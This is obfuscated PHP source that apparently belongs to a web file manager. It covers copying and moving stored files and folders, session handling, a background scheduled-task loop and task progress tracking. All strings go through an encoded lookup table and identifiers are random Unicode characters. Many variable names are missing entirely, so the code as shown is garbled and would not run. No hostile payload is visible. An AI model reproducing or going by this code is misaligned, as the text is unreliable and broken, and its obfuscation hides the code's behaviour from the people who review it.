$this->_copy($ӫ, $, $Ѵ, $, !0, $ą); $this->_childrenListClear(); $this->lockCopyEnd($ӫ); $this->lockWriteEnd($, $Ǖѕн); if ($˺[$Ӝ[410]] == $Ӝ[88] && $ˎ == $Ǧ٠) { $this->folderSizeResetChildren($ˎ); } Model($Ӝ[569])->addAll($[$Ӝ[567]], array(), !0); if ($ˎ != $Ǧ٠ || $˺[$Ӝ[410]] == $Ӝ[88]) { Model($Ӝ[570])->eventCopy($Ǧ٠); } $this->saveAll($[$Ӝ[568]]); Model($Ӝ[199])->linkAdd($[$Ӝ[566]]); $this->folderSizeReset($); $this->updateModifyTime($); return $Ǧ٠; } private function _copy($직ـ, $, $Ψ, &$, $۵, $ = '') { $췼 =& $_SERVER[ö]; $Ú = $this->sourceInfoCache($직ـ); $ = $Ú[$췼[410]] == $췼[88]; $ = $ ? $ : $Ú[$췼[32]]; $ = $this->fileNameExistCache($, $); if ($۵) { $this->_childrenAllMake($직ـ); if ($ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($직ـ, $, $, $); } $ = $; if ($) { if ($Ψ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $Ψ, $); $ = $this->_copyCreate($직ـ, $, $, $); } else { $ջ = $this->_childrenList($직ـ); foreach ($ջ as $) { $this->_copy($[$췼[402]], $, $Ψ, $, !1); } } } else { if ($Ψ == REPEAT_RENAME || $Ψ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $Ψ, $); $ = $this->_copyCreate($직ـ, $, $, $); } else { if ($Ψ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $̀ = $this->fileHistory($, $Ú[$췼[468]], $Ú[$췼[76]]); if ($̀) { $[$췼[566]][] = $Ú[$췼[468]]; } } else { if ($Ψ == REPEAT_SKIP) { } } } Hook::trigger($췼[571], array($췼[572], $Ú, 0)); } return $; } private function _copyCreate($߀, $, $, &$ɫ) { $Ӥ =& $_SERVER[ö]; $܊ = $this->sourceInfoCache($߀); $䨣 = $this->sourceInfoCache($); $ᵂ = $this->_makeItemData($܊, $䨣, $); Hook::trigger($Ӥ[573], $ᵂ); Hook::trigger($Ӥ[574], array($Ӥ[575], $ᵂ, 0)); $Ϙۓ = $this->add($ᵂ); $ᥬ = array($Ӥ[402] => $Ϙۓ, $Ӥ[32] => $); $this->_copyApplyMeta($ᥬ, $ɫ); if ($܊[$Ӥ[410]] != $Ӥ[88]) { $ɫ[$Ӥ[566]][] = $܊[$Ӥ[468]]; return $Ϙۓ; } $𘱅 = array(); $߄ = array(); $this->_childrenListAll($߀, $𘱅); $Ю = count($𘱅); if ($Ю == 0) { return $Ϙۓ; } $ֽ = $this->sourceInfo($Ϙۓ); foreach ($𘱅 as $) { $Ӆ = $this->_makeItemData($, $ֽ, $[$Ӥ[32]]); $Ӆ[$Ӥ[521]] = $[$Ӥ[521]]; $߄[] = $Ӆ; } $this->chunkEventSet($Ӥ[576], array($Ӥ[577], $ᵂ, $Ю)); $this->addAll($߄, array(), !1); $ = $this->where(array($Ӥ[432] => $Ϙۓ))->select(); $ك = $this->_childrenMakeRelation($𘱅, $); $ك[$߀] = $Ϙۓ; $ = array(); $ٺ = array(); foreach ($ as $) { $ʤ = $[$Ӥ[402]]; $Ȥ = $this->_childrenMatch($ك, $, $ֽ); $[] = array($Ӥ[402], $ʤ, $Ӥ[432], $Ȥ[$Ӥ[432]]); $ٺ[] = array($Ӥ[402], $ʤ, $Ӥ[521], $Ȥ[$Ӥ[521]]); $this->_copyApplyMeta($, $ɫ); if ($[$Ӥ[410]] != $Ӥ[88]) { $ɫ[$Ӥ[566]][] = $[$Ӥ[468]]; } } $this->chunkEventSet($Ӥ[578], array($Ӥ[579], $ᵂ, $Ю)); $this->saveAll($); $this->chunkEventSet($Ӥ[580], array($Ӥ[581], $ᵂ, $Ю)); $this->saveAll($ٺ); return $Ϙۓ; } private function _childrenMakeRelation($׳, $) { $̇ =& $_SERVER[ö]; $ͤ = array(); $Ҫ = array(); foreach ($׳ as $Ҿ) { $˜ӌ = $Ҿ[$̇[32]] . $̇[8] . $Ҿ[$̇[521]]; $ͤ[$˜ӌ] = $Ҿ[$̇[402]]; } foreach ($ as $Ҿ) { $˜ӌ = $Ҿ[$̇[32]] . $̇[8] . $Ҿ[$̇[521]]; $ = $ͤ[$˜ӌ]; $Ҫ[$] = $Ҿ[$̇[402]]; } return $Ҫ; } private function _childrenMatch($, $, $) { $ =& $_SERVER[ö]; $۴ = $[$[521]]; $ٴ = $this->parentLevelArray($[$[521]]); foreach ($ٴ as $) { if (isset($[$])) { $۴ .= $[$] . $[582]; } } $۴ = rtrim($۴, $[50]) . $[50]; $ѭ = $this->parentLevelArray($۴); $ݫ = $ѭ[count($ѭ) - 1]; return array($[432] => $ݫ, $[521] => $۴); } private function _makeItemData($, $✀, $ڸ) { $ =& $_SERVER[ö]; $准 = array($[583] => $[$[410]], $[420] => $ڸ, $[584] => $[$[412]] ? $[$[412]] : $[12], $[469] => $[$[468]] ? $[$[468]] : 0, $[585] => $[$[76]] ? $[$[76]] : 0, $[586] => intval($✀[$[411]]), $[587] => intval($✀[$[505]]), $[588] => intval(USER_ID), $[589] => intval(USER_ID), $[401] => intval($✀[$[402]]), $[590] => $✀[$[521]] . $✀[$[402]] . $[50], $[424] => $[$[85]] ? $[$[85]] : time(), $[430] => 0, $[591] => $[12]); return $准; } private function _copyApplyMeta($ɱɺ, &$) { $ =& $_SERVER[ö]; $ = $ɱɺ[$[402]]; $߂ = $ɱɺ[$[32]]; if (!isset($ɱɺ[$[592]]) || !$ɱɺ[$[592]] || $ɱɺ[$[592]] == $[197]) { $[$[568]][] = array($[402], $, $[592], short_id($)); } if (Input::check($߂, $[593])) { $[$[567]][] = array($[402] => $, $[94] => $[465], $[374] => str_replace($[53], $[12], Pinyin::get($߂))); $[$[567]][] = array($[402] => $, $[94] => $[464], $[374] => Pinyin::get($߂, $[594])); } $[$[567]][] = array($[402] => $, $[94] => $[444], $[374] => KodSort::makeStr($߂)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($̅) { $ =& $_SERVER[ö]; $꯲ = $this->sourceInfo($̅); $ʻ = $[595]; $ = array($[521] => array($[550], $꯲[$[521]] . $̅ . $[551]), $[431] => $this->targetIsDelete); $Ő = $this->field($ʻ)->where($)->select(); if (!$Ő) { return; } $Ő = array_to_keyvalue($Ő, $[402]); foreach ($Ő as $) { $ = $[$[432]]; $̅ = $[$[402]]; if (!isset($this->_childrenListCache[$̅]) && $[$[410]] == $[88]) { $this->_childrenListCache[$̅] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$̅] = $; $this->_childrenItemCache[$̅] = $; } } private function _childrenListAll($ص, &$ឹ) { $٢ =& $_SERVER[ö]; if (!isset($this->_childrenListCache[$ص])) { return; } $ = $this->_childrenListCache[$ص]; foreach ($ as $ => $貙) { $ឹ[$] = $貙; if ($貙[$٢[410]] == $٢[88]) { $this->_childrenListAll($, $ឹ); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($ӽ) { if (isset($this->_childrenListCache[$ӽ])) { return $this->_childrenListCache[$ӽ]; } return $this->_childrenListSelect($ӽ); } private function _childrenListSelect($Λ) { $ =& $_SERVER[ö]; $ = array($[432] => $Λ, $[431] => $this->targetIsDelete); $ϡ = $this->where($)->select(); $ϡ = $ϡ ? $ϡ : array(); $ = array_to_keyvalue($ϡ, $[402]); $this->_childrenListCache[$Λ] = $; foreach ($ as $Λ => $) { $this->_childrenItemCache[$Λ] = $; } return $; } private function fileNameExistCache($, $) { $眘ߦ =& $_SERVER[ö]; $ = strtolower($); $ᕩ = $this->_childrenList($); foreach ($ᕩ as $ݐ) { if ($ == strtolower($ݐ[$眘ߦ[32]])) { return $ݐ[$眘ߦ[402]]; } } return !1; } private function fileNameAutoCache($, $ۿ, $, $۱) { $۫ =& $_SERVER[ö]; $ = $this->_childrenList($); $ = array_to_keyvalue($, $۫[12], $۫[32]); return $this->fileNameAutoGet($, $ۿ, $, $۱); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($Ə, $, $蝰 = REPEAT_REPLACE, $ = '') { $ױ =& $_SERVER[ö]; $ؾ = $this->sourceInfo($Ə); $Nj = $this->sourceInfo($); if ($ؾ[$ױ[432]] == $Nj[$ױ[402]]) { if ($ؾ[$ױ[431]] == $ױ[88]) { Model($ױ[429])->restore(array($Ə)); } if (!$ || $ == $ؾ[$ױ[32]]) { return $Ə; } } $㔊 = $this->pathInfoMore($Ə); if ($this->isParentOf($Ə, $)) { return !1; } if (!$ؾ || !$Nj || $Nj[$ױ[410]] != $ױ[88]) { return !1; } Hook::trigger($ױ[596], $㔊); $this->targetIsDelete = intval($ؾ[$ױ[431]]); if ($ؾ[$ױ[432]] == $ && $ != $ؾ[$ױ[32]]) { $˕ = $this->fileNameExist($, $); if ($˕ && $ؾ[$ױ[410]] == $ױ[197]) { $ي = $this->sourceInfo($˕); $ܧķ = $this->fileHistory($ي, $ؾ[$ױ[468]], $ؾ[$ױ[76]]); if (!$ܧķ) { Model($ױ[471])->remove($ؾ[$ױ[468]]); } $this->removeNow($Ə, !1); $this->folderSizeReset($); Hook::trigger($ױ[597], $㔊); return $˕; } } $ǥ = $ ? $ : $ؾ[$ױ[32]]; $this->lockMoveStart($Ə); $this->lockWriteStart($, $ǥ); $ͷ = array($ױ[566] => array(), $ױ[598] => !1); $this->clearShare($Ə, $); $Ӏ = $this->fileNameExistCache($, $ؾ[$ױ[32]]); $ = $this->_move($Ə, $, $蝰, $ͷ, $); $this->sourceCacheClear(); if ($ؾ[$ױ[410]] == $ױ[88] && $Ӏ) { $this->folderSizeResetChildren($); } Model($ױ[199])->linkAdd($ͷ[$ױ[566]]); if ($Ӏ && $ͷ[$ױ[598]]) { $this->removeNow($Ə, !1); } $this->lockMoveEnd($Ə); $this->lockWriteEnd($, $ǥ); $this->folderSizeReset($ؾ[$ױ[432]]); $this->folderSizeReset($); $ = array($ؾ[$ױ[432]], $); if ($ؾ[$ױ[410]] == $ױ[88]) { $[] = $Ə; } $this->updateModifyTime($); Model($ױ[570])->eventMove($Ə, $ؾ[$ױ[432]], $); Hook::trigger($ױ[597], $㔊); return $; } private function _move($ԝ, $, $Ǣ, &$Ȑ, $ = '') { $ =& $_SERVER[ö]; $ƞ = $this->sourceInfo($ԝ); $ = $ƞ[$[410]] == $[88]; $̐ = $ ? $ : $ƞ[$[32]]; $ = $this->fileNameExistCache($, $̐); $this->lockMoveStart($ԝ); $this->lockWriteStart($, $̐); if (!$) { return $this->_moveForce($ԝ, $, $̐); } $ = $; $ = !1; if ($) { if ($Ǣ == REPEAT_RENAME_FOLDER) { $̐ = $this->fileNameAuto($, $̐, $Ǣ, $); $ = $this->_moveForce($ԝ, $, $̐); } else { if ($Ǣ == REPEAT_RENAME_FOLDER) { $Ǣ = REPEAT_RENAME; } $ݩڭ = $this->_childrenListSelect($ԝ); foreach ($ݩڭ as $ζ) { $this->_move($ζ[$[402]], $, $Ǣ, $Ȑ); } $ = !0; } } else { if ($Ǣ == REPEAT_SKIP) { $ = !0; } else { if ($Ǣ == REPEAT_RENAME || $Ǣ == REPEAT_RENAME_FOLDER) { $̐ = $this->fileNameAuto($, $̐, $Ǣ, $); $ = $this->_moveForce($ԝ, $, $̐); } else { if ($Ǣ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $ƞ[$[468]], $ƞ[$[76]]); $ = !0; if ($) { $Ȑ[$[566]][] = $ƞ[$[468]]; } } } } } if ($ && !$Ȑ[$[598]]) { $Ȑ[$[598]] = !0; } return $; } private function _moveForce($, $ا, $) { $È =& $_SERVER[ö]; $ߵ = $this->sourceInfo($); $ʘ = $this->sourceInfo($ا); $մͩ = $ߵ[$È[410]] == $È[88]; $ֹ = array($È[401] => $ʘ[$È[402]], $È[590] => $ʘ[$È[521]] . $ʘ[$È[402]] . $È[50], $È[586] => $ʘ[$È[411]], $È[587] => $ʘ[$È[505]], $È[589] => USER_ID, $È[420] => $); $Ļ = $ߵ[$È[411]] == SourceModel::TYPE_GROUP && $ʘ[$È[411]] == SourceModel::TYPE_GROUP && $ߵ[$È[505]] == $ʘ[$È[505]]; if (!$Ļ && $this->moveClearAuth) { Model($È[502])->authClear($); } $ͬϲ = $ߵ[$È[431]] == $È[88] && $ʘ[$È[431]] != $È[88]; if ($ͬϲ) { $ֹ[$È[430]] = 0; } if ($մͩ) { $ = array($È[590] => array($È[550], $ߵ[$È[521]] . $ߵ[$È[402]] . $È[551])); $® = $ߵ[$È[521]] . $ߵ[$È[402]] . $È[50]; $ߎ = $ʘ[$È[521]] . $ʘ[$È[402]] . $È[50] . $ߵ[$È[402]] . $È[50]; $ = array($È[590] => array($È[599], "\x72\145\160\x6c\x61\143\145\50\x70\141\162\x65\x6e\x74\114\145\166\145\x6c\x2c\x27{$®}\47\54\x27{$ߎ}\x27\51"), $È[586] => $ʘ[$È[411]], $È[587] => $ʘ[$È[505]]); if ($ͬϲ) { $[$È[430]] = 0; } $this->where($)->data($)->save(); } $this->where(array($È[417] => $))->data($ֹ)->save(); return $; } private function clearShare($, $迳) { $ =& $_SERVER[ö]; $ǃ = $this->sourceInfo($); $Ǎ = $this->sourceInfo($迳); if ($ǃ[$[505]] == $Ǎ[$[505]] && $ǃ[$[411]] == $[600]) { return; } $ǁ = array($[521] => array($[550], $ǃ[$[521]] . $ . $[551])); $ôƷ = $this->field($[417])->where($ǁ)->getField($[402], !0); if (!$ôƷ) { return; } $ǁ = array($[402] => array($[7], $ôƷ), $[496] => 1); $݂ = Model($[601])->field($[489])->where($ǁ)->select(); if (!$݂) { return; } $݂ = array_to_keyvalue($݂, $[12], $[489]); $ǁ = array($[489] => array($[7], $݂)); Model($[601])->where($ǁ)->save(array($[496] => 0)); Model($[602])->where($ǁ)->delete(); } public function copyFolderFromIO($, $, $ҷ, $֙, $, $ē = false) { $į =& $_SERVER[ö]; $ = array($į[567] => array(), $į[568] => array(), $į[566] => array(), $į[603] => array()); $ = $ē ? $ē : $->pathThis($); $ح· = $this->fileNameExist($ҷ, $); $ = $this->mkdir($ҷ, $, $֙); if (!$ح· || $֙ == REPEAT_RENAME_FOLDER) { $֙ = !1; } if ($ح·) { $this->_childrenAllMake($ح·); } Hook::trigger($į[604]); $this->_copyChildTo($, $, $, $֙, $, $); Hook::trigger($į[605]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($į[569])->addAll($[$į[567]], array(), !0); Model($į[570])->eventCopy($); $this->saveAll($[$į[568]]); Model($į[471])->linkAdd($[$į[566]]); Model($į[471])->remove($[$į[603]]); $this->folderSizeReset($ҷ); $this->updateModifyTime($ҷ); return $; } private function _copyChildTo($ʛǣ, $, $늿, $ŋ, &$, $̗) { $К =& $_SERVER[ö]; $ѣ = $this->sourceInfoCache($늿); $ = $ʛǣ->listPath($); $ = $ ? $ : array($К[83] => array(), $К[82] => array()); $ = array_merge($[$К[83]], $[$К[82]]); $ = $this->_addFiles($ʛǣ, $[$К[83]], $̗); $ = array(); foreach ($ as &$) { if (isset($[$[$К[32]]])) { $ = $[$[$К[32]]]; } $[$К[410]] = $[$К[33]] == $К[75]; $[$К[412]] = substr(_get($, $К[174], $К[12]), 0, 10); $[$К[76]] = _get($, $К[76], 0); $[$К[468]] = _get($, $К[468], 0); if (!isset($[$К[606]]) && $[$К[468]]) { $[$К[603]][] = $[$К[468]]; } if ($ŋ) { $ = $this->fileNameExistCache($늿, $[$К[32]]); if ($) { if ($[$К[410]] || $ŋ == REPEAT_SKIP) { continue; } if ($ŋ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ז = $this->fileHistory($, $[$К[468]], $[$К[76]]); if ($ז) { $[$К[566]][] = $[$К[468]]; } continue; } else { if ($ŋ == REPEAT_RENAME) { $[$К[32]] = $this->fileNameAutoCache($늿, $[$К[32]], $ŋ, !1); } } } } if (!$[$К[410]] && $[$К[468]] == 0) { continue; } if (!$[$К[410]] && $[$К[468]]) { $[$К[566]][] = $[$К[468]]; } $[] = $this->_makeItemData($, $ѣ, $[$К[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($늿); } $ = $this->_childrenList($늿); $ = array_to_keyvalue($, $К[32]); foreach ($ as $) { $ = $[$[$К[32]]]; $ = $[$К[402]]; $this->_copyApplyMeta($, $); if ($[$К[33]] == $К[75]) { $[$К[84]] = $ʛǣ->getPathInner($[$К[84]]); $this->_copyChildTo($ʛǣ, $[$К[84]], $, $ŋ, $, $̗); } } } private function _addFiles($ɚ, $, $) { $ =& $_SERVER[ö]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$ɤе) { Hook::trigger($[607], $ɤе); $ɤе[$[84]] = $ɚ->getPathInner($ɤе[$[84]]); $ń̟ = $ɚ->hashSimple($ɤе[$[84]]); $ = $ɚ->hashMd5($ɤе[$[84]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $ɤе[$[177]] = $ń̟; $ɤе[$[176]] = $; $[$][] =& $ɤе; if (count($[$]) > 1) { $ɤе[$[606]] = !0; } Hook::trigger($[608], $ɤе); } unset($ɤе); $ޕ = array($[176] => array($[7], array_keys($))); $߭ = Model($[609]); $Й = $߭->where($ޕ)->select(); $Й = $Й ? $Й : array(); foreach ($Й as $Ďϕ) { if (!isset($[$Ďϕ[$[176]]])) { continue; } $ = $[$Ďϕ[$[176]]]; foreach ($ as &$ɤе) { $ɤе[$[468]] = $Ďϕ[$[468]]; $ɤе[$[606]] = !0; } unset($ɤе); } $ͥ = array(); foreach ($ as $猲ϲ) { Hook::trigger($[610], $猲ϲ); if (isset($猲ϲ[$[606]]) && $猲ϲ[$[606]]) { Hook::trigger($[611], $猲ϲ); continue; } $± = $ɚ->getPathInner($猲ϲ[$[84]]); $ӱ = $߭->addFileMake($±, $猲ϲ[$[76]], $猲ϲ[$[177]], $猲ϲ[$[176]], $猲ϲ[$[32]], $); Hook::trigger($[611], $猲ϲ); if (!is_array($ӱ)) { continue; } $ͥ[] = $ӱ; } $߭->addAll($ͥ); $ޕ = array($[176] => array($[7], array_keys($))); $Й = $߭->where($ޕ)->select(); $Й = $Й ? $Й : array(); foreach ($Й as $Ďϕ) { if (!isset($[$Ďϕ[$[176]]])) { continue; } $Ոº =& $[$Ďϕ[$[176]]]; foreach ($Ոº as &$ɤе) { $ɤе[$[468]] = $Ďϕ[$[468]]; } unset($ɤе); } $ = array(); foreach ($ as $ž) { $[$ž[$[32]]] = $ž; } return $; } } goto fꐃ; A: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[ö]; static $ϭ = false; if ($ϭ) { return $ϭ; } $ޔ = $GLOBALS[$[6]][$[349]]; self::$sessionTime = $ޔ[$[1631]]; $Α = isset($GLOBALS[$[1632]]) ? $GLOBALS[$[1632]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($Α)) { self::$sessionSign = Cookie::get($Α); } else { self::$sessionSign = guid(); } } Cookie::setSafe($Α, self::$sessionSign, self::$sessionTime); $ = $ޔ[$[1633]]; $؇ = $ޔ[$]; $ = $ޔ[$[834]]; switch ($) { case $[21]: self::$handle = Model($[835]); break; case $[836]: self::$handle = new CacheRedis($؇, $); break; case $[837]: self::$handle = new CacheMemcached($؇, $); break; case $[199]: $؇[$[84]] = $؇[$[84]] . $[1634]; self::$handle = new CacheFile($؇, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ϭ = new self(); return $ϭ; } public static function getBySign($) { $ס = self::$handle->get($); $ס = unserialize($ס); return is_array($ס) ? $ס : array(); } public static function setBySign($ぇ, $) { CacheLock::lock($ぇ); self::$handle->set($ぇ, serialize($), self::$sessionTime); CacheLock::unlock($ぇ); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($, $ȇ = false) { self::init(); if (is_array($)) { foreach ($ as $Å => $ŵ) { array_set_value(self::$data, $Å, $ŵ); } } else { array_set_value(self::$data, $, $ȇ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($عʇ = false) { self::init(); if (!$عʇ) { return self::$data; } return array_get_value(self::$data, $عʇ); } public static function remove($ʥ) { self::init(); unset(self::$data[$ʥ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ö][839])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[ö]; if (self::valueGet($[756]) != $[88]) { return; } if (self::valueGet($[1635]) == $[88]) { $ = self::valueGet($[1636]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$[1637]] = 1; self::valueSet($[1635], $[88]); self::log($[1638] . ACTION . $[1639]); Session::$data = array(); Session::$sessionSign = $[12]; $GLOBALS[$[503]] = 1; Hook::bind($[1640], $[1641]); $͜ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[756]) != $[88]) { self::valueSet($[1635], $[197]); self::log($[1642]); die; } $Ĭ = time(); if ($Ĭ - $͜ >= 60) { self::valueSet(array($[1635] => $[88], $[1636] => $Ĭ), !1); $͜ = $Ĭ; } if (!file_exists(USER_SYSTEM . $[1643])) { self::valueSet(array($[1635] => $[197], $[756] => $[197]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ =& $_SERVER[ö]; http_close(); self::valueSet($[756], $[197]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1635] => $[197], $[756] => $[88]), !1); } public static function taskSwitch() { $٧ϖ =& $_SERVER[ö]; $ݵ = self::valueGet($٧ϖ[756]) == $٧ϖ[88] ? $٧ϖ[197] : $٧ϖ[88]; self::valueSet($٧ϖ[756], $ݵ); } public static function shutdownEvent() { $眖 =& $_SERVER[ö]; self::valueSet($眖[1635], $眖[197]); self::log($眖[1644]); } public static function config($, $ō) { self::valueSet($_SERVER[ö][756], $); } private static function taskRunAll() { $Κٰ =& $_SERVER[ö]; $س = timeFloat(); $ = Model($Κٰ[1645])->listData(); $ζ = count($); for ($ = 0; $ < $ζ; $++) { $Ʉ = $[$]; if (!$Ʉ[$Κٰ[399]] || $Ʉ[$Κٰ[1646]] != $Κٰ[88]) { continue; } if (!self::taskTimeCheck($Ʉ)) { continue; } self::taskRun($Ʉ); } Hook::trigger($Κٰ[1647]); self::taskQueueRun($س); } private static function taskQueueRun($ԛ) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ԛ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[ö]; $ = json_decode($[$[203]], !0); $呏 = intval($[$[1636]]); $؞ = strtotime($[1648] . $[$[1649]] . $[1650]) - strtotime($[1651]); $ڨ = time() - strtotime(date($[1652]) . $[1653]); $ = $ڨ >= $؞ && $ڨ <= $؞ + 3600; switch ($[$[33]]) { case $[1654]: if (time() - $呏 < 3600 * 24 * 30) { return !1; } if ($[$[1654]] == date($[1655]) && $) { return !0; } break; case $[1656]: if (time() - $呏 < 3600 * 24 * 7) { return !1; } $ = date($[1657]) == 0 ? 7 : date($[1657]); if ($[$[1656]] == $ && $) { return !0; } break; case $[1649]: if (time() - $呏 < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1658]: if (time() - $呏 >= floatval($[$[1658]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[ö]; static $ױ = 0; $ı = 300; if (!$ױ) { $ױ = time(); } if (time() - $ױ < $ı) { return; } $ױ = time(); $߹ = Model($[513])->db($[12]); if ($߹) { $߹->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1659], $[1660]); die; } } public static function taskRun($) { $荾 =& $_SERVER[ö]; self::log($荾[1661] . $[$荾[399]] . $荾[1662] . $[$荾[32]] . $荾[1663] . $[$荾[1664]]); Model($荾[1645])->run($[$荾[399]]); $𫗯 = timeFloat(); $վ = $荾[12]; switch ($[$荾[33]]) { case $荾[307]: $ = url_request($[$荾[1664]], $荾[230], !1, !1, !1, !1, 10); if ($[$荾[756]]) { $վ = strlen($[$荾[1217]]); } break; case $荾[229]: $վ = Hook::apply($[$荾[1664]]); default: break; } Model($荾[1665])->add(array($荾[1666] => $荾[12], $荾[1667] => $荾[197], $荾[33] => $荾[1668] . $[$荾[399]], $荾[1669] => json_encode(array($荾[32] => $[$荾[32]], $荾[1670] => timeFloat() - $𫗯, $荾[293] => $վ)))); $È = $վ ? $荾[1671] . $վ : $荾[12]; self::log($荾[1672] . $[$荾[399]] . $荾[164] . $È); return !0; } private static function valueGet($̔) { $ =& $_SERVER[ö]; $ƍ = $[1673]; $Ə = Model($[435])->get($̔, $ƍ); if (is_null($Ə)) { Model($[435])->set($[756], $[88], $ƍ); Model($[435])->set($[1635], $[197], $ƍ); $Ə = Model($[435])->get($̔, $ƍ); } return $Ə; } private static function valueSet($ն, $) { $ =& $_SERVER[ö]; $ = $[1674]; CacheLock::lock($); $Ѿ = Model($[435])->set($ն, $, $[1673]); CacheLock::unlock($); return $Ѿ; } protected static function log($) { write_log($, $_SERVER[ö][1660]); } private static function cacheClear() { $ =& $_SERVER[ö]; Cache::clearMemory(Model($[435])->cacheKey($[1673])); Cache::clearMemory(Model($[435])->cacheKey($[1675])); Model($[1645])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\164\x6f\160"; const STATYS_RUNNING = "\x72\x75\x6e\x6e\x69\156\147"; const STATYS_KILL = "\x6b\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ί = '', $ų = 0, $ޢ = '') { $ =& $_SERVER[ö]; if (self::get($)) { return; } $ϼ = defined($[475]) ? USER_ID : $[197]; $this->task = array($[399] => $, $[1676] => $ϼ, $[1576] => $ޢ, $[453] => $[12], $[33] => $ί, $[1078] => $[12], $[792] => $ų, $[1677] => 0, $[1678] => 0, $[1679] => 0, $[1680] => timeFloat(), $[1681] => 0, $[1682] => 0, $[1683] => 0, $[1684] => 0, $[756] => $[1635]); $GLOBALS[$[1685]] = 1; Hook::bind($[1640], array($this, $[1686])); Hook::bind($[1687], array($this, $[1688])); $this->startAfter(); Hook::trigger($[1689], $this->task); $this->task[$[1682]] = timeFloat(); } public function end($Ň = '') { $ =& $_SERVER[ö]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1682]]) { self::valueSet($this->task[$[399]], !1); } $this->isEnd = !0; if ($Ň) { $this->task[$[453]] = $Ň; } self::log($[1690] . $this->task[$[399]] . $[1691] . sprintf($[864], timeFloat() - $this->task[$[1680]]) . $[1692]); Hook::unbind($[1640], array($this, $[1686])); Hook::unbind($[1687], array($this, $[1688])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1693], $); } public function update($ = 0, $ = false) { $Ȣ =& $_SERVER[ö]; $ٶǕ =& $this->task; if (!$ٶǕ) { return; } $ٶǕ[$Ȣ[1677]] += $; $ٶǕ[$Ȣ[1681]] = timeFloat(); if ($ٶǕ[$Ȣ[792]]) { if ($ٶǕ[$Ȣ[792]] < $ٶǕ[$Ȣ[1677]]) { $ٶǕ[$Ȣ[792]] = $ٶǕ[$Ȣ[1677]]; } $ = timeFloat() - $ٶǕ[$Ȣ[1680]] - $ٶǕ[$Ȣ[1683]]; if ($ <= 0) { $ = 0.001; } $ٶǕ[$Ȣ[1678]] = $ٶǕ[$Ȣ[1677]] / $ٶǕ[$Ȣ[792]]; $ٶǕ[$Ȣ[1679]] = $ٶǕ[$Ȣ[1677]] / $; if ($ٶǕ[$Ȣ[1678]] > 0) { $ٶǕ[$Ȣ[1684]] = $ * (1 - $ٶǕ[$Ȣ[1678]]) / $ٶǕ[$Ȣ[1678]]; } $ٶǕ[$Ȣ[1684]] = $ٶǕ[$Ȣ[1684]] <= 0 ? 0 : $ٶǕ[$Ȣ[1684]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $ٶǕ[$Ȣ[1682]] < $ && !$) { return; } $ = self::get($ٶǕ[$Ȣ[399]]); $Ԙل = $[$Ȣ[756]]; if ($Ԙل == self::STATYS_KILL) { $ = array($Ȣ[1694] => LNG($Ȣ[1695]), $Ȣ[1227] => !1); Cache::set($Ȣ[1696] . $this->task[$Ȣ[399]], $, 30); $this->onKill(); $this->end(); die; } else { if ($Ԙل == self::STATYS_STOP) { $Ǯ = 2; $[$Ȣ[1683]] += $Ǯ; self::valueSet($ٶǕ[$Ȣ[399]], $); sleep($Ǯ); $this->update(); return; } } $ٶǕ[$Ȣ[756]] = $Ԙل ? $Ԙل : $ٶǕ[$Ȣ[756]]; $ٶǕ[$Ȣ[1683]] = $[$Ȣ[1683]] ? $[$Ȣ[1683]] : 0; $ٶǕ[$Ȣ[1682]] = timeFloat(); Hook::trigger($Ȣ[1697], $ٶǕ); self::valueSet($ٶǕ[$Ȣ[399]], $ٶǕ); } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ =& $_SERVER[ö]; self::log($[1690] . $this->task[$[399]] . $[1698]); Hook::trigger($[1699], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); 